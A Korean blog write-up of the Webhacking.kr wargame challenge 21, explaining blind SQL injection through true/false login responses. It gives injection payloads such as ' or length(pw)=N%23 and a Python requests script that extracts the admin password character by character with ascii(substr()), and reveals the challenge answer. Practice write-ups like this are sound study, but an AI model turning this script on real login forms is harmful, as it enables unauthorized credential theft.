controlpro

[Webhacking.kr] 21번 blind sql injection 본문

Webhacking/Webhacking.kr

[Webhacking.kr] 21번 blind sql injection

controlpro 2020. 12. 24. 15:42
728x90

문제에 대놓고 Blind sql injection이라고 나와있다. 

 

내가 Lord of sql injection에서 굉장히 많이 풀었기 때문에 익숙한 문제이다. 입력값에 따라 달라지는 반응을 토대로 이게 참 값인지 거짓 값인지 구분 하는 것이다. 

 

일단 입력값에 따라 다른 값을 찾아야 한다. 아무거나 입력해보자 

일단 아무거나 입력을 하면 다음과 같이 뜬다. login fail. 그러면 내가 sql injection으로 항상 참이되는 값을 입력을 하면 어떻게 될까? 

다음과 같이 입력을하면  (id = admin pw =) or '1' = '1' 과 같이 다음과 같이 쿼리가 들어가서 참이 된다. (or 뒷부분이 항상 참이므로)

이것을 입력을 하면 

다음과 같이 wrong password라고 나온다!!! 그러면 참은 wrong password라고 나오고 거짓은 login fail이라고 나온다. 그러면 일단 비밀 번호를 알기 위해서 length함수를 사용해보자 

?id=admin&pw=' or length(pw) = [예측한 pw길이]%23

라고 입력을 주면 password를 찾을 수 있다. (password =5 라는데 다섯자리는 아니어서 그냥 5는 건너 뜀)

36자리이다. 

 

그러면 여기서 substr함수를 사용해서 한자리씩 유추하면 끝~ 

 

ghere_is_no_rest_for_the_white_angel 이렇게 나오는데 안되서 확인 해보니까 g가 아니라 t이다. 

 

import requests
 
cookies= {'[자신의 cookies]'}
url = 'https://webhacking.kr/challenge/bonus-1/index.php?'
password = ''
length = 0

for i in range(100):
	if i == 5:
		continue
	url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw=-1' or length(pw) = {}%23".format(i)
	print(url)
	r=requests.post(url, cookies=(dict(PHPSESSID = "ug8i611dumb0oc21f4gojpt60k")))
	if("wrong password" in r.text):
		print("[+] I found! : " + str(i))
		break

for i in range(1,37):
	for j in range(33 ,128):
		url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw=' or ascii(substr(pw ,{},1))={}%23".format(i,j)
		print(url)
		r=requests.post(url, cookies=(dict(PHPSESSID = "ug8i611dumb0oc21f4gojpt60k")))
		if("wrong password" in r.text):
			password += chr(j)
			print("[+] I found! : " + chr(j))
			break

print("password : " + password)

 

728x90
반응형

'Webhacking > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] 20번  (0) 2020.12.29
[Webhacking.kr] 56번  (0) 2020.12.29
[Webhacking.kr] 8번 sql injection  (0) 2020.12.22
[Webhacking.kr] 38번 log injection  (0) 2020.12.22
Webhacking.kr 6번  (0) 2020.12.10